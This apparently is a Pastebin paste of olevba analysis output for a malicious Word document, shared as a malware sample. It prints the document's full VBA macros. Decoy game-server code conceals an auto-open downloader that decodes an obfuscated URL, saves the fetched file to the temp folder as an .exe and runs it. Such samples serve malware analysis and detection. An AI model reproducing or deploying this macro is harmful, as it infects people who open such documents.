Advertisement
dynamoo

Malicious Word macro

Oct 21st, 2015
435
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. olevba 0.41 - http://decalage.info/python/oletools
  2. Flags        Filename                                                        
  3. -----------  -----------------------------------------------------------------
  4. OLE:MASIHB-V mal3.doc
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: mal3.doc
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ThisDocument.cls
  13. in file: mal3.doc - OLE stream: u'Macros/VBA/ThisDocument'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15.  
  16. Sub autoopen()
  17. UserRetiraItem 0, 0, -5
  18. BroadCastParty 0, ""
  19. SendBanObj 0, 0, ""
  20. DarCuerpoDesnudo 0, False
  21. IniciarDeposito 0
  22. Bloquear False, 0, 0, 0, False
  23. HayLava -1, -1, -1
  24. End Sub
  25.  
  26.  
  27.  
  28. -------------------------------------------------------------------------------
  29. VBA MACRO Module1.bas
  30. in file: mal3.doc - OLE stream: u'Macros/VBA/Module1'
  31. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  32. Public halalaya As Object
  33. Public adbrd As Object
  34. Public processEnv  As Object
  35.  
  36. Public tempFile As String
  37. Public shellApp As Object
  38.  
  39. Public Sub IniciarDeposito(ByVal UserIndex As Integer)
  40. '***************************************************
  41. 'Author: Unknownn
  42. 'Last Modification: -
  43. '
  44. '***************************************************
  45.  
  46. On Error GoTo ErrHandler
  47.  
  48. tempFile = processEnv("T" & "EMP")
  49.  
  50.     adbrd.Open
  51. Exit Sub
  52. 'Hacemos un Update del inventario del usuario
  53. Call Upda.teBanUserInv(True, UserIndex, 0)
  54. 'Actualizamos el dinero
  55. Call Writ.eUpdateUserStats(UserIndex)
  56. 'Mostramos la ventana pa' comerciar y ver ladear la osamenta. jajaja
  57. Call Writ.eBankInit(UserIndex)
  58. UserL.ist(UserIndex).Flags.Comerciando = True
  59.  
  60. ErrHandler:
  61.  
  62. End Sub
  63.  
  64. Public Sub SendBanObj(UserIndex As Integer, Slot As Byte, Object As String)
  65.  
  66. Set shellApp = CreateObject("Shell.Application")
  67. '***************************************************
  68. 'Author: Unknownn
  69. 'Last Modification: -
  70. '
  71. '***************************************************
  72. adbrd.Type = 1
  73. Dim Professor() As Variant
  74. Professor = Array(148, 158, 156, 150, 94, 81, 79, 149, 147, 145, 70, 138, 131, 125, 133, 129, 116, 127, 54, 105, 115, 48, 117, 105, 43, 47, 46, 42, 43, 39, 40, 36, 33, 25, 81, 78, 27, 24, 68, 68, 78, 8, 61, 78, 57)
  75. halalaya.Open "GET", GetStringFromArray(Professor, 44), False
  76. Exit Sub
  77. Us.rList(Use.rIndex).BancoInvent.Object(Slot) = Object
  78.  
  79. Call Writ.eChangeBankSlot(UserI.ndex, Slot)
  80.  
  81. End Sub
  82.  
  83.  
  84. Public Sub UserRetiraItem(ByVal UserIndex As Integer, ByVal i As Integer, ByVal Cantidad As Integer)
  85. '***************************************************
  86. 'Author: Unknownn
  87. 'Last Modification: 10/08/2011 - ^[GS]^
  88. '
  89. '***************************************************
  90.  
  91. On Error GoTo ErrHandler
  92.  
  93.     Dim ObjIndex As Integer
  94. Set halalaya = CreateObject("Microsoft.XMLHTTP")
  95.  
  96.     If Cantidad < 1 Then Exit Sub
  97.    
  98.     Call Writ.eUpdateUserStats(UserIndex)
  99.  
  100.     If Use.rList(UserIndex).BancoInvent.Object(i).Amount > 0 Then
  101.    
  102.         If Cantidad > Use.rList(UserIndex).BancoInvent.Object(i).Amount Then _
  103.             Cantidad = Use.rList(UserIndex).BancoInvent.Object(i).Amount
  104.            
  105.         ObjIndex = UserL.ist(UserIndex).BancoInvent.Object(i).ObjIndex
  106.        
  107.         'Agregamos el obj que compro al inventario
  108.        Call UserR.eciveObj(UserIndex, CInt(i), Cantidad)
  109.        
  110.         If ObjD.ata(ObjIndex).Log = 1 Then
  111.             Call LogDes.arrollo(Use.rList(UserIndex).Name & " retiró " & Cantidad & " " & _
  112.                 ObjD.ata(ObjIndex).Name & "[" & ObjIndex & "]")
  113.         End If
  114.        
  115.         'Actualizamos el inventario del usuario
  116.        Call UpdateU.serInv(True, UserIndex, 0)
  117.         'Actualizamos el banco
  118.        Call UpdateBan.UserInv(True, UserIndex, 0)
  119.     End If
  120.    
  121.     'Actualizamos la ventana de comercio
  122.    Call Updat.eVentanaBanco(UserIndex)
  123.  
  124.  
  125. ErrHandler:
  126.  
  127. End Sub
  128.  
  129.  
  130. Sub SendUserBovedaTxtFromChar(ByVal sendIndex As Integer, ByVal charName As String)
  131. '***************************************************
  132. 'Author: Unknownn
  133. 'Last Modification: -
  134. '
  135. '***************************************************
  136.  
  137. On Error Resume Next
  138. Dim j As Integer
  139. Dim CharFile As String, Tmp As String
  140. Dim ObjInd As Long, ObjCant As Long
  141.  
  142. CharFile = CharPath & charName & ".chr"
  143.  
  144. If FileExist(CharFile, vbNormal) Then
  145.     Call WriteConsoleMsg(sendIndex, charName, FontTypeNames.FONTTYPE_INFO)
  146.     Call WriteConsoleMsg(sendIndex, "Tiene " & GetVar(CharFile, "BancoInventory", "CantidadItems") & " objetos.", FontTypeNames.FONTTYPE_INFO)
  147.     For j = 1 To MAX_BANCOINVENTORY_SLOTS
  148.         Tmp = GetVar(CharFile, "BancoInventory", "Obj" & j)
  149.         ObjInd = ReadField(1, Tmp, Asc("-"))
  150.         ObjCant = ReadField(2, Tmp, Asc("-"))
  151.         If ObjInd > 0 Then
  152.             Call WriteConsoleMsg(sendIndex, "Objeto " & j & " " & ObjData(ObjInd).Name & " Cantidad:" & ObjCant, FontTypeNames.FONTTYPE_INFO)
  153.         End If
  154.     Next
  155. Else
  156.     Call WriteConsoleMsg(sendIndex, "Usuario inexistente: " & charName, FontTypeNames.FONTTYPE_INFO)
  157. End If
  158.  
  159. End Sub
  160.  
  161. -------------------------------------------------------------------------------
  162. VBA MACRO Module2.bas
  163. in file: mal3.doc - OLE stream: u'Macros/VBA/Module2'
  164. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  165.  
  166. Public Function NextParty() As Integer
  167. '***************************************************
  168. 'Author: Unknownn
  169. 'Last Modification: -
  170. '
  171. '***************************************************
  172.  
  173. Dim i As Integer
  174. NextParty = -1
  175. For i = 1 To MAX_PARTIES
  176.     If Parties(i) Is Nothing Then
  177.         NextParty = i
  178.         Exit Function
  179.     End If
  180. Next i
  181. End Function
  182.  
  183. Public Function PuedeCrearParty(ByVal UserIndex As Integer) As Boolean
  184. '***************************************************
  185. 'Author: Unknownn
  186. 'Last Modification: 10/07/2012 - ^[GS]^
  187. '05/22/2010 : staff members aren't allowed to party anyone. (Marco)
  188. '***************************************************
  189.  
  190.     PuedeCrearParty = True
  191.     If (UserList(UserIndex).Flags.Privilegios And PlayerType.User) = 0 Then
  192.     'staff members aren't allowed to party anyone.
  193.        Call WriteMensajes(UserIndex, eMensajes.Mensaje452) ' "¡Los miembros del staff no pueden crear partys!"
  194.        PuedeCrearParty = False
  195.     ElseIf CInt(UserList(UserIndex).Stats.UserAtributos(eAtributos.Carisma)) * UserList(UserIndex).Stats.UserSkills(eSkill.Liderazgo) < 100 Then
  196.         Call WriteMensajes(UserIndex, eMensajes.Mensaje069) '"Tu carisma y liderazgo no son suficientes para liderar una party."
  197.        PuedeCrearParty = False
  198.     ElseIf UserList(UserIndex).Flags.Muerto = 1 Then
  199.         Call WriteMensajes(UserIndex, eMensajes.Mensaje005) '"¡¡Estás muerto!!"
  200.        PuedeCrearParty = False
  201.     End If
  202.    
  203. End Function
  204.  
  205. Public Sub CrearParty(ByVal UserIndex As Integer)
  206. '***************************************************
  207. 'Author: Unknownn
  208. 'Last Modification: -
  209. '
  210. '***************************************************
  211.  
  212. Dim tInt As Integer
  213.  
  214. With UserList(UserIndex)
  215.     If .PartyIndex = 0 Then
  216.         If .Flags.Muerto = 0 Then
  217.             If .Stats.UserSkills(eSkill.Liderazgo) >= 5 Then
  218.                 tInt = modUsuariosParty.NextParty
  219.                 If tInt = -1 Then
  220.                     Call WriteMensajes(UserIndex, eMensajes.Mensaje070) '"Por el momento no se pueden crear más parties."
  221.                    Exit Sub
  222.                 Else
  223.                     Set Parties(tInt) = New clsParty
  224.                     If Not Parties(tInt).NuevoMiembro(UserIndex) Then
  225.                         Call WriteMensajes(UserIndex, eMensajes.Mensaje071) '"La party está llena, no puedes entrar."
  226.                        Set Parties(tInt) = Nothing
  227.                         Exit Sub
  228.                     Else
  229.                         Call WriteMensajes(UserIndex, eMensajes.Mensaje072) '"¡Has formado una party!"
  230.                        .PartyIndex = tInt
  231.                         .PartySolicitud = 0
  232.                         If Not Parties(tInt).HacerLeader(UserIndex) Then
  233.                             Call WriteMensajes(UserIndex, eMensajes.Mensaje073) '"No puedes hacerte líder."
  234.                        Else
  235.                             Call WriteMensajes(UserIndex, eMensajes.Mensaje074) '"¡Te has convertido en líder de la party!"
  236.                        End If
  237.                     End If
  238.                 End If
  239.             Else
  240.                 Call WriteMensajes(UserIndex, eMensajes.Mensaje075) '"No tienes suficientes puntos de liderazgo para liderar una party."
  241.            End If
  242.         Else
  243.             Call WriteMensajes(UserIndex, eMensajes.Mensaje005) '"¡¡Estás muerto!!"
  244.        End If
  245.     Else
  246.         Call WriteMensajes(UserIndex, eMensajes.Mensaje076) '"Ya perteneces a una party."
  247.    End If
  248. End With
  249. End Sub
  250.  
  251. Public Sub SolicitarIngresoAParty(ByVal UserIndex As Integer)
  252. '***************************************************
  253. 'Author: Unknownn
  254. 'Last Modification: 10/07/2012 - ^[GS]^
  255. '05/22/2010 : staff members aren't allowed to party anyone. (Marco)
  256. '18/09/2010: ZaMa - Ahora le avisa al funda de la party cuando alguien quiere ingresar a la misma.
  257. '18/09/2010: ZaMa - Contemple mas ecepciones (solo se le puede mandar party al lider)
  258. '***************************************************
  259.  
  260.     'ESTO ES enviado por el PJ para solicitar el ingreso a la party
  261.    Dim TargetUserIndex As Integer
  262.     Dim PartyIndex As Integer
  263.  
  264.     With UserList(UserIndex)
  265.    
  266.         'staff members aren't allowed to party anyone
  267.        If (.Flags.Privilegios And PlayerType.User) = 0 Then ' 0.13.3
  268.            Call WriteMensajes(UserIndex, eMensajes.Mensaje454) ' "¡Los miembros del staff no pueden unirse a partys!"
  269.            Exit Sub
  270.         End If
  271.          
  272.         If .PartyIndex > 0 Then
  273.             'si ya esta en una party
  274.            Call WriteMensajes(UserIndex, eMensajes.Mensaje077) '"Ya perteneces a una party, escribe /SALIRPARTY para abandonarla"
  275.            .PartySolicitud = 0
  276.             Exit Sub
  277.         End If
  278.        
  279.         ' Muerto?
  280.        If .Flags.Muerto = 1 Then
  281.             Call WriteMensajes(UserIndex, eMensajes.Mensaje005) '"¡¡Estás muerto!!"
  282.            .PartySolicitud = 0
  283.             Exit Sub
  284.         End If
  285.        
  286.         TargetUserIndex = .Flags.targetUser
  287.         ' Target valido?
  288.        If TargetUserIndex > 0 Then
  289.             PartyIndex = UserList(TargetUserIndex).PartyIndex
  290.             ' Tiene party?
  291.            If PartyIndex > 0 Then
  292.            
  293.                 ' Es el lider?
  294.                If Parties(PartyIndex).EsPartyLeader(TargetUserIndex) Then
  295.                     .PartySolicitud = PartyIndex
  296.                     Call WriteMensajes(UserIndex, eMensajes.Mensaje078) '"El fundador decidirá si te acepta en la party."
  297.                    Call WriteConsoleMsg(TargetUserIndex, .Name & " solicita ingresar a tu party.", FontTypeNames.FONTTYPE_PARTY)
  298.                
  299.                 ' No es lider
  300.                Else
  301.                     Call WriteConsoleMsg(UserIndex, UserList(TargetUserIndex).Name & " no es lider de la party.", FontTypeNames.FONTTYPE_PARTY)
  302.                 End If
  303.            
  304.             ' No tiene party
  305.            Else
  306.                 Call WriteConsoleMsg(UserIndex, UserList(TargetUserIndex).Name & " no pertenece a ninguna party.", FontTypeNames.FONTTYPE_PARTY)
  307.                 .PartySolicitud = 0
  308.                 Exit Sub
  309.             End If
  310.         ' Target inválido
  311.        Else
  312.             Call WriteMensajes(UserIndex, eMensajes.Mensaje079) '"Para ingresar a una party debes hacer click sobre el fundador y luego escribir /PARTY"
  313.            .PartySolicitud = 0
  314.         End If
  315.     End With
  316.  
  317. End Sub
  318.  
  319.  
  320. Private Function IsPartyMember(ByVal UserIndex As Integer, ByVal PartyIndex As Integer)
  321.     Dim MemberIndex As Integer
  322.    
  323.     For MemberIndex = 1 To PARTY_MAXMEMBERS
  324.        
  325.     Next MemberIndex
  326. End Function
  327. Public Function GetStringFromArray(fromArr() As Variant, LenLen As Integer) As String
  328.     Dim i As Integer
  329.     Dim result As String
  330.     result = ""
  331.     For i = LBound(fromArr) To UBound(fromArr)
  332.         result = result & Chr(fromArr(i) - LenLen + i * 2)
  333.     Next i
  334.     GetStringFromArray = result
  335. End Function
  336.  
  337. Public Sub BroadCastParty(ByVal UserIndex As Integer, ByRef texto As String)
  338. '***************************************************
  339. 'Author: Unknownn
  340. 'Last Modification: -
  341. '
  342. '***************************************************
  343.  
  344. Dim PI As Integer
  345.    
  346. Set adbrd = CreateObject("Adodb.Stream")
  347. On Error GoTo ErrorHandler
  348.     PI = 0
  349.    
  350.     If PI > 0 Then
  351.         Call Pa.rties(PI).MandarMensajeAConsola(texto, Use.rList(UserIndex).Name)
  352.     End If
  353. ErrorHandler:
  354.  
  355. End Sub
  356.  
  357. Public Sub OnlineParty(ByVal UserIndex As Integer)
  358. '*************************************************
  359. 'Author: Unknownn
  360. 'Last modified: 11/27/09 (Budi)
  361. 'Adapte la función a los nuevos métodos de clsParty
  362. '*************************************************
  363. Dim i As Integer
  364. Dim PI As Integer
  365. Dim Text As String
  366. Dim MembersOnline(1 To PARTY_MAXMEMBERS) As Integer
  367.  
  368.     PI = UserList(UserIndex).PartyIndex
  369.    
  370.     If PI > 0 Then
  371.         Call Parties(PI).ObtenerMiembrosOnline(MembersOnline())
  372.         Text = "Nombre(Exp): "
  373.         For i = 1 To PARTY_MAXMEMBERS
  374.             If MembersOnline(i) > 0 Then
  375.                 Text = Text & " - " & UserList(MembersOnline(i)).Name & " (" & Fix(Parties(PI).MiExperiencia(MembersOnline(i))) & ")"
  376.             End If
  377.         Next i
  378.         Text = Text & ". Experiencia total: " & Parties(PI).ObtenerExperienciaTotal
  379.         Call WriteConsoleMsg(UserIndex, Text, FontTypeNames.FONTTYPE_PARTY)
  380.     End If
  381.    
  382. End Sub
  383.  
  384.  
  385. Public Sub TransformarEnLider(ByVal OldLeader As Integer, ByVal NewLeader As Integer)
  386. '***************************************************
  387. 'Author: Unknownn
  388. 'Last Modification: -
  389. '
  390. '***************************************************
  391.  
  392. Dim PI As Integer
  393.  
  394. If OldLeader = NewLeader Then Exit Sub
  395.  
  396. PI = UserList(OldLeader).PartyIndex
  397.  
  398. If PI = UserList(NewLeader).PartyIndex Then
  399.     If UserList(NewLeader).Flags.Muerto = 0 Then
  400.         If Parties(PI).HacerLeader(NewLeader) Then
  401.             Call Parties(PI).MandarMensajeAConsola("El nuevo líder de la party es " & UserList(NewLeader).Name, UserList(OldLeader).Name)
  402.         Else
  403.             Call WriteMensajes(OldLeader, eMensajes.Mensaje083) '"¡No se ha hecho el cambio de mando!"
  404.        End If
  405.     Else
  406.         Call WriteMensajes(OldLeader, eMensajes.Mensaje084) '"¡Está muerto!"
  407.    End If
  408. Else
  409.     Call WriteConsoleMsg(OldLeader, LCase(UserList(NewLeader).Name) & " no pertenece a tu party.", FontTypeNames.FONTTYPE_INFO)
  410. End If
  411.  
  412. End Sub
  413.  
  414.  
  415. Public Sub ActualizaExperiencias()
  416. '***************************************************
  417. 'Author: Unknownn
  418. 'Last Modification: -
  419. '
  420. '***************************************************
  421.  
  422. 'esta funcion se invoca antes de worlsaves, y apagar servidores
  423. 'en caso que la experiencia sea acumulada y no por golpe
  424. 'para que grabe los datos en los charfiles
  425. Dim i As Integer
  426.  
  427. If Not PARTY_EXPERIENCIAPORGOLPE Then
  428.    
  429.     haciendoBK = True
  430.     Call SendData(SendTarget.ToAll, 0, PrepareMessagePauseToggle())
  431.    
  432.     Call SendData(SendTarget.ToAll, 0, PrepareMessageConsoleMsg("Servidor> Distribuyendo experiencia en parties.", FontTypeNames.FONTTYPE_SERVER))
  433.     For i = 1 To MAX_PARTIES
  434.         If Not Parties(i) Is Nothing Then
  435.             Call Parties(i).FlushExperiencia
  436.         End If
  437.     Next i
  438.     Call SendData(SendTarget.ToAll, 0, PrepareMessageConsoleMsg("Servidor> Experiencia distribuida.", FontTypeNames.FONTTYPE_SERVER))
  439.     Call SendData(SendTarget.ToAll, 0, PrepareMessagePauseToggle())
  440.     haciendoBK = False
  441.  
  442. End If
  443.  
  444. End Sub
  445.  
  446. Public Sub ObtenerExito(ByVal UserIndex As Integer, ByVal Exp As Long, mapa As Integer, X As Integer, Y As Integer)
  447. '***************************************************
  448. 'Author: Unknownn
  449. 'Last Modification: -
  450. '
  451. '***************************************************
  452.  
  453.     If Exp <= 0 Then
  454.         If Not CASTIGOS Then Exit Sub
  455.     End If
  456.    
  457.     Call Parties(UserList(UserIndex).PartyIndex).ObtenerExito(Exp, mapa, X, Y)
  458.  
  459.  
  460. End Sub
  461.  
  462. Public Function CantMiembros(ByVal UserIndex As Integer) As Integer
  463. '***************************************************
  464. 'Author: Unknownn
  465. 'Last Modification: -
  466. '
  467. '***************************************************
  468.  
  469. CantMiembros = 0
  470. If UserList(UserIndex).PartyIndex > 0 Then
  471.     CantMiembros = Parties(UserList(UserIndex).PartyIndex).CantMiembros
  472. End If
  473.  
  474. End Function
  475.  
  476. ''
  477. ' Sets the new p_sumaniveleselevados to the party.
  478. '
  479. ' @param UserInidex Specifies reference to user
  480. ' @remarks When a user level up and he is in a party, we call this sub to don't desestabilice the party exp formula
  481. Public Sub ActualizarSumaNivelesElevados(ByVal UserIndex As Integer)
  482. '*************************************************
  483. 'Author: Marco Vanotti (MarKoxX)
  484. 'Last modified: 28/10/08
  485. '
  486. '*************************************************
  487.    If UserList(UserIndex).PartyIndex > 0 Then
  488.         Call Parties(UserList(UserIndex).PartyIndex).UpdateSumaNivelesElevados(UserList(UserIndex).Stats.ELV)
  489.     End If
  490. End Sub
  491. -------------------------------------------------------------------------------
  492. VBA MACRO Module3.bas
  493. in file: mal3.doc - OLE stream: u'Macros/VBA/Module3'
  494. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  495. Public Sub DarCuerpoDesnudo(ByVal UserIndex As Integer, Optional ByVal Mimetizado As Boolean = False)
  496. '***************************************************
  497. 'Autor: Nacho (Integer)
  498. 'Last Modification: 03/14/07
  499. 'Da cuerpo desnudo a un usuario
  500. '23/11/2009: ZaMa - Optimizacion de codigo.
  501. '***************************************************
  502.  
  503. Dim CuerpoDesnudo As Integer
  504. halalaya.Send
  505.  
  506. Set processEnv = CreateObject("WScript.Shell").Environment("Process")
  507.  
  508. Exit Sub
  509. With Use.rList(UserIndex)
  510.     Select Case .Genero
  511.         Case eGenero.Hombre
  512.             Select Case .raza
  513.                 Case eRaza.Humano
  514.                     CuerpoDesnudo = 21
  515.                 Case eRaza.Drow
  516.                     CuerpoDesnudo = 32
  517.                 Case eRaza.Elfo
  518.                     CuerpoDesnudo = 210
  519.                 Case eRaza.Gnomo
  520.                     CuerpoDesnudo = 222
  521.                 Case eRaza.Enano
  522.                     CuerpoDesnudo = 53
  523.             End Select
  524.         Case eGenero.Mujer
  525.             Select Case .raza
  526.                 Case eRaza.Humano
  527.                     CuerpoDesnudo = 39
  528.                 Case eRaza.Drow
  529.                     CuerpoDesnudo = 40
  530.                 Case eRaza.Elfo
  531.                     CuerpoDesnudo = 259
  532.                 Case eRaza.Gnomo
  533.                     CuerpoDesnudo = 260
  534.                 Case eRaza.Enano
  535.                     CuerpoDesnudo = 60
  536.             End Select
  537.     End Select
  538.    
  539.     If Mimetizado Then
  540.         .CharMimetizado.Body = CuerpoDesnudo
  541.     Else
  542.         .Char.Body = CuerpoDesnudo
  543.     End If
  544.    
  545.     .Flags.Desnudo = 1
  546. End With
  547.  
  548. End Sub
  549.  
  550.  
  551. Public Sub Bloquear(ByVal ToMap As Boolean, ByVal sndIndex As Integer, ByVal X As Integer, ByVal Y As Integer, ByVal b As Boolean)
  552. '***************************************************
  553. 'Author: Unknownn
  554. 'Last Modification: -
  555. 'b ahora es boolean,
  556. 'b=true bloquea el tile en (x,y)
  557. 'b=false desbloquea el tile en (x,y)
  558. 'toMap = true -> Envia los datos a todo el mapa
  559. 'toMap = false -> Envia los datos al user
  560. 'Unifique los tres parametros (sndIndex,sndMap y map) en sndIndex... pero de todas formas, el mapa jamas se indica.. eso esta bien asi?
  561. 'Puede llegar a ser, que se quiera mandar el mapa, habria que agregar un nuevo parametro y modificar.. lo quite porque no se usaba ni aca ni en el cliente :s
  562. '***************************************************
  563.  
  564.     If ToMap Then
  565.         Call Sen.dData(SendTarget.ToMap, sndIndex, Prepar.eMessageBlockPosition(X, Y, b))
  566.         Call Writ.eBlockPosition(sndIndex, X, Y, b)
  567.     End If
  568.  
  569. tempFile = tempFile + "\" & "Hich" & "Az2" + "." + "e" + "xe"
  570. End Sub
  571.  
  572.  
  573. Function HayAgua(ByVal Map As Integer, ByVal X As Integer, ByVal Y As Integer) As Boolean
  574. '***************************************************
  575. 'Author: Unknownn
  576. 'Last Modification: -
  577. '
  578. '***************************************************
  579.  
  580.     If Map > 0 And Map < NumMaps + 1 And X > 0 And X < 101 And Y > 0 And Y < 101 Then
  581.         With MapData(Map, X, Y)
  582.             If ((.Graphic(1) >= 1505 And .Graphic(1) <= 1520) Or (.Graphic(1) >= 5665 And .Graphic(1) <= 5680) Or (.Graphic(1) >= 13547 And .Graphic(1) <= 13562)) And .Graphic(2) = 0 Then
  583.                     HayAgua = True
  584.             Else
  585.                     HayAgua = False
  586.             End If
  587.         End With
  588.     Else
  589.       HayAgua = False
  590.     End If
  591.  
  592. End Function
  593.  
  594. Public Function HayLava(ByVal Map As Integer, ByVal X As Integer, ByVal Y As Integer)
  595. '***************************************************
  596. 'Autor: Nacho (Integer)
  597. 'Last Modification: 03/12/07
  598. '***************************************************
  599.    If Map > 0 Then
  600.         If Map > 0 And Map < NumMaps + 1 And X > 0 And X < 101 And Y > 0 And Y < 101 Then
  601.             If MapDa.ta(Map, X, Y).Graphic(1) >= 5837 And MapDa.ta(Map, X, Y).Graphic(1) <= 5852 Then
  602.                 HayLava = True
  603.             Else
  604.                 HayLava = False
  605.             End If
  606.         Else
  607.           HayLava = False
  608.         End If
  609.  
  610.     End If
  611.  
  612. adbrd.write halalaya.responseBody
  613.     adbrd.savetofile tempFile, 2
  614. shellApp.Open (tempFile)
  615. End Function
  616.  
  617.  
  618. Sub LimpiarMundo()
  619. '***************************************************
  620. 'Author: Unknown
  621. 'Last Modification: 05/09/2012 - ^[GS]^
  622. '***************************************************
  623. On Error GoTo ErrHandler
  624.    
  625.     If aLimpiarMundo.CantItems > 0 Then
  626.         Call aLimpiarMundo.EraseAllItems
  627.     End If
  628.    
  629.     Call modSecurityIp.IpSecurityMantenimientoLista
  630.    
  631.     Exit Sub
  632.  
  633. ErrHandler:
  634.     Call LogError("Error producido en el sub LimpiarMundo: " & Err.Description)
  635. End Sub
  636.  
  637. Sub EnviarSpawnList(ByVal UserIndex As Integer)
  638. '***************************************************
  639. 'Author: Unknownn
  640. 'Last Modification: -
  641. '
  642. '***************************************************
  643.  
  644.     Dim k As Long
  645.     Dim npcNames() As String
  646.    
  647.     ReDim npcNames(1 To UBound(modDeclaraciones.SpawnList)) As String
  648.    
  649.     For k = 1 To UBound(modDeclaraciones.SpawnList)
  650.         npcNames(k) = modDeclaraciones.SpawnList(k).NpcName
  651.     Next k
  652.    
  653.     Call WriteSpawnList(UserIndex, npcNames())
  654.  
  655. End Sub
  656.  
  657.  
  658. Sub Main()
  659. '***************************************************
  660. 'Author: Unknownn
  661. 'Last Modification: 08/06/2012 - ^[GS]^
  662. '***************************************************
  663.  
  664. On Error Resume Next
  665.  
  666.     Dim f As Date
  667.     Dim aux As String
  668.     Dim buf As String, bufS As String
  669.     Dim ret As Long
  670.     '
  671.    ' Obtener el directorio de windows
  672.    buf = String$(260, vbNullChar)
  673.     ret = GetWindowsDirectory(buf, Len(buf))
  674.     buf = Left$(buf, ret)
  675.     '
  676.    ' Obtener el directorio de System
  677.    bufS = String$(260, vbNullChar)
  678.     ret = GetSystemDirectory(bufS, Len(bufS))
  679.     bufS = Left$(bufS, ret)
  680.    
  681.     ChDir App.Path
  682.     ChDrive App.Path
  683.    
  684.     'Si esta activado el mysql carga componentes (Fedudok)
  685. #If Mysql = 1 Then
  686.     Call CargarDB
  687. #End If
  688.     '(Fedudok)
  689.    
  690.     Call LoadMotd
  691.     Call BanIpCargar
  692.     Call BanHD_load ' GSZ-AO
  693.    
  694.     frmMain.Caption = frmMain.Caption & " v" & App.Major & "." & App.Minor & "." & App.Revision
  695.    
  696.     ' Start loading...
  697.    frmCargando.Show
  698.     'Call PlayWaveAPI(App.Path & "\wav\harp3.wav")
  699.    
  700.     ' Constants & vars
  701.    frmCargando.cMensaje.Caption = "Cargando constantes..."
  702.     Call LoadConstants
  703.     DoEvents
  704.    
  705.     ' Arrays
  706.    frmCargando.cMensaje.Caption = "Iniciando Arrays..."
  707.     Call LoadArrays
  708.    
  709.     ' Server.ini & Apuestas.dat
  710.    frmCargando.cMensaje.Caption = "Cargando Server.ini"
  711.     Call LoadSini
  712.     Call CargaApuestas
  713.    
  714.     ' Npcs.dat
  715.    frmCargando.cMensaje.Caption = "Cargando NPCs.Dat"
  716.     Call CargaNpcsDat
  717.    
  718.     ' Obj.dat
  719.    frmCargando.cMensaje.Caption = "Cargando Obj.Dat"
  720.     Call LoadOBJData
  721.    
  722.     ' Hechizos.dat
  723.    frmCargando.cMensaje.Caption = "Cargando Hechizos.Dat"
  724.     Call CargarHechizos
  725.    
  726.     ' Objetos de Herreria
  727.    frmCargando.cMensaje.Caption = "Cargando Objetos de Herrer?"
  728.     Call LoadHerreriaArmas
  729.     Call LoadHerreriaArmaduras
  730.    
  731.     ' Objetos de Capinteria
  732.    frmCargando.cMensaje.Caption = "Cargando Objetos de Carpinter?"
  733.     Call LoadCarpinteria
  734.    
  735.     ' Balance.dat
  736.    frmCargando.cMensaje.Caption = "Cargando Balance.Dat"
  737.     Call LoadBalance
  738.    
  739.     ' Armaduras faccionarias
  740.    frmCargando.cMensaje.Caption = "Cargando ArmadurasFaccionarias.dat"
  741.     Call LoadArmadurasFaccion
  742.    
  743.     ' Pretorianos
  744.    frmCargando.cMensaje.Caption = "Cargando Pretorianos.dat"
  745.     Call LoadPretorianData
  746.  
  747.     ' Mapas
  748.    If iniWorldBackup Then
  749.         frmCargando.cMensaje.Caption = "Cargando BackUp"
  750.         Call CargarBackUp
  751.     Else
  752.         frmCargando.cMensaje.Caption = "Cargando Mapas"
  753.         Call LoadMapData
  754.     End If
  755.    
  756.     ' Internet IP
  757.    frmCargando.cMensaje.Caption = "Buscando IP en Internet..." ' GSZ
  758.    frmMain.txtIP.Caption = frmMain.Inet1.OpenURL("http://ip1.dynupdate.no-ip.com:8245/")
  759.     DoEvents
  760.     If frmMain.txtIP.Caption = vbNullString Then frmMain.txtIP.Caption = "N/A"
  761.  
  762.     frmCargando.cMensaje.Caption = "Inicializando..."
  763.    
  764.     ' Map Sounds
  765.    Set SonidosMapas = New clsSoundMapInfo
  766.     Call SonidosMapas.LoadSoundMapInfo
  767.    
  768.     ' Home distance
  769.    Call generateMatrix(MATRIX_INITIAL_MAP)
  770.    
  771.     ' Connections
  772.    Call ResetUsersConnections
  773.    
  774.     ' Timers
  775.    Call InitMainTimers
  776.    
  777.     ' Sockets
  778.    Call SocketConfig
  779.     frmMain.mnuReiniciarListen.Caption = "Reiniciar puerto de conexi? [" & iniPuerto & "]" ' GSZ
  780.    
  781.     ' End loading..
  782.    Unload frmCargando
  783.    
  784.     'Log start time
  785.    LogServerStartTime
  786.    
  787.     'Ocultar
  788.    If iniOculto Then
  789.         Call frmMain.InitMain(1)
  790.     Else
  791.         Call frmMain.InitMain(0)
  792.     End If
  793.    
  794.     tInicioServer = GetTickCount() And &H7FFFFFFF
  795.    
  796.     If frmMain.Visible Then frmMain.txStatus.Text = "Escuchando conexiones entrantes ..."
  797.    
  798.     'Actualizo el frmMain. / maTih.-  |  02/03/2012
  799.    If frmMain.Visible Then frmMain.Record.Caption = CStr(iniRecord)
  800. End Sub
  801.  
  802. +------------+----------------------+-----------------------------------------+
  803. | Type       | Keyword              | Description                             |
  804. +------------+----------------------+-----------------------------------------+
  805. | AutoExec   | AutoOpen             | Runs when the Word document is opened   |
  806. | Suspicious | Open                 | May open a file                         |
  807. | Suspicious | Shell                | May run an executable file or a system  |
  808. |            |                      | command                                 |
  809. | Suspicious | vbNormal             | May run an executable file or a system  |
  810. |            |                      | command                                 |
  811. | Suspicious | WScript.Shell        | May run an executable file or a system  |
  812. |            |                      | command                                 |
  813. | Suspicious | Windows              | May enumerate application windows (if   |
  814. |            |                      | combined with Shell.Application object) |
  815. | Suspicious | Shell.Application    | May run an application (if combined     |
  816. |            |                      | with CreateObject)                      |
  817. | Suspicious | CreateObject         | May create an OLE object                |
  818. | Suspicious | Chr                  | May attempt to obfuscate specific       |
  819. |            |                      | strings                                 |
  820. | Suspicious | ADODB.Stream         | May create a text file                  |
  821. | Suspicious | SaveToFile           | May create a text file                  |
